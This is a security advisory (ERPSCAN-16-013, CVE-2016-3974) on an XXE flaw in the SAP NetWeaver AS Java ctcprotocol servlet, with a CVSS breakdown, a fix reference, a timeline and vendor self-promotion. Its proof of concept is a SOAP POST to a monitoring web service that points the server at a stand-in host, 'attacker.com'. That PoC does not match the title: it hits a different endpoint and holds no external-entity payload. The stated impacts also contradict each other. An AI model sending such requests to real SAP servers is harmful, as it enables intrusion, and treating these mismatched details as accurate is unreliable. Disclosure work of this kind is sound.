SAP NetWeaver AS JAVA 7.1 < 7.5 - ctcprotocol Servlet XXE

Application: SAP NetWeaver AS JAVA



Versions Affected: SAP NetWeaver  AS JAVA 7.1 - 7.5



Vendor URL: http://SAP.com



Bug: XXE



Sent:  20.10.2015



Reported: 21.10.2015



Vendor response: 21.10.2015



Date of Public Advisory: 08.03.2016



Reference: SAP Security Note 2235994



Author:  Vahagn Vardanyan  (ERPScan)







Description





1. ADVISORY INFORMATION



Title: [ERPSCAN-16-013] SAP NetWeaver  AS  Java ctcprotocol servlet –

XXE vulnerability



Advisory ID: [ERPSCAN-16-013]



Risk: Medium



Advisory URL: https://erpscan.com/advisories/erpscan-16-013-sap-netweaver-7-4-ctcprotocol-servlet-xxe/



Date published: 08.03.2016



Vendors contacted: SAP





2. VULNERABILITY INFORMATION



Class: XXE



Impact: denial of service



Remotely Exploitable: Yes



Locally Exploitable: No



CVE-2016-3974





CVSS Information



CVSS Base Score v3:  6.4  / 10



CVSS Base Vector:



AV : Attack Vector (Related exploit range) Network (N)



AC : Attack Complexity (Required attack complexity) High (H)



PR : Privileges Required (Level of privileges needed to exploit) High (H)



UI : User Interaction (Required user participation) None (N)



S : Scope (Change in scope due to impact caused to components beyond

the vulnerable component) Unchanged (U)



C : Impact to Confidentiality High (H)



I : Impact to Integrity High (H)



A : Impact to Availability High (H)







3. VULNERABILITY DESCRIPTION



Authorized attacker can use a special request to read files from the

server and then escalate his or her privileges.







4. VULNERABLE PACKAGES



SAP NetWeaver AS JAVA 7.1 - 7.5



Other versions are probably affected too, but they were not checked.





5. SOLUTIONS AND WORKAROUNDS



To correct this vulnerability, install SAP Security Note 2235994







6. AUTHOR



Vahagn Vardanyan  (ERPScan)





7. TECHNICAL DESCRIPTION





An XML external entity (XXE) vulnerability in the Configuration Wizard

in SAP NetWeaver Java AS 7.4 allows remote attackers to cause a denial

of service, conduct SMB Relay attacks, or access arbitrary files via a

crafted XML request related to the ctcprotocol servlet.



PoC





POST /_tc~monitoring~webservice~web/ServerNodesWSService HTTP/1.1

Content-Type: text/xml



<SOAP-ENV:Envelope

xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"

xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xmlns:xsd="http://www.w3.org/2001/XMLSchema">

<SOAP-ENV:Body>

 <m:XXX xmlns:m="http://sap.com/monitoring/ws/sn/">

  <url>attacker.com</url>

 </m:XXX>

</SOAP-ENV:Body>

</SOAP-ENV:Envelope>









8. REPORT TIMELINE



Sent:  20.10.2015



Reported: 21.10.2015



Vendor response: 21.10.2015



Date of Public Advisory: 08.03.2016









9. REFERENCES



https://erpscan.com/advisories/erpscan-16-013-sap-netweaver-7-4-ctcprotocol-servlet-xxe/





10. ABOUT ERPScan Research



The company’s expertise is based on the research subdivision of

ERPScan, which is engaged in vulnerability research and analysis of

critical enterprise applications. It has achieved multiple

acknowledgments from the largest software vendors like SAP, Oracle,

Microsoft, IBM, VMware, HP for discovering more than 400

vulnerabilities in their solutions (200 of them just in SAP!).



ERPScan researchers are proud to have exposed new types of

vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be

nominated for the best server-side vulnerability at BlackHat 2013.



ERPScan experts have been invited to speak, present, and train at 60+

prime international security conferences in 25+ countries across the

continents. These include BlackHat, RSA, HITB, and private SAP

trainings in several Fortune 2000 companies.



ERPScan researchers lead the project EAS-SEC, which is focused on

enterprise application security research and awareness. They have

published 3 exhaustive annual award-winning surveys about SAP

security.



ERPScan experts have been interviewed by leading media resources and

featured in specialized info-sec publications worldwide. These include

Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,

Heise, and Chinabyte, to name a few.



We have highly qualified experts in staff with experience in many

different fields of security, from web applications and

mobile/embedded to reverse engineering and ICS/SCADA systems,

accumulating their experience to conduct the best SAP security

research.







11. ABOUT ERPScan



ERPScan is the most respected and credible Business Application

Security provider. Founded in 2010, the company operates globally and

enables large Oil and Gas, Financial and Retail organizations to

secure their mission-critical processes. Named as an ‘Emerging Vendor’

in Security by CRN, listed among “TOP 100 SAP Solution providers” and

distinguished by 30+ other awards, ERPScan is the leading SAP SE

partner in discovering and resolving security vulnerabilities. ERPScan

consultants work with SAP SE in Walldorf to assist in improving the

security of their latest solutions.



ERPScan’s primary mission is to close the gap between technical and

business security, and provide solutions to evaluate and secure SAP

and Oracle ERP systems and business-critical applications from both,

cyber-attacks as well as internal fraud. Usually our clients are large

enterprises, Fortune 2000 companies and managed service providers

whose requirements are to actively monitor and manage security of vast

SAP landscapes on a global scale.



We ‘follow the sun’ and function in two hubs, located in the Palo Alto

and Amsterdam to provide threat intelligence services, agile support

and operate local offices and partner network spanning 20+ countries

around the globe.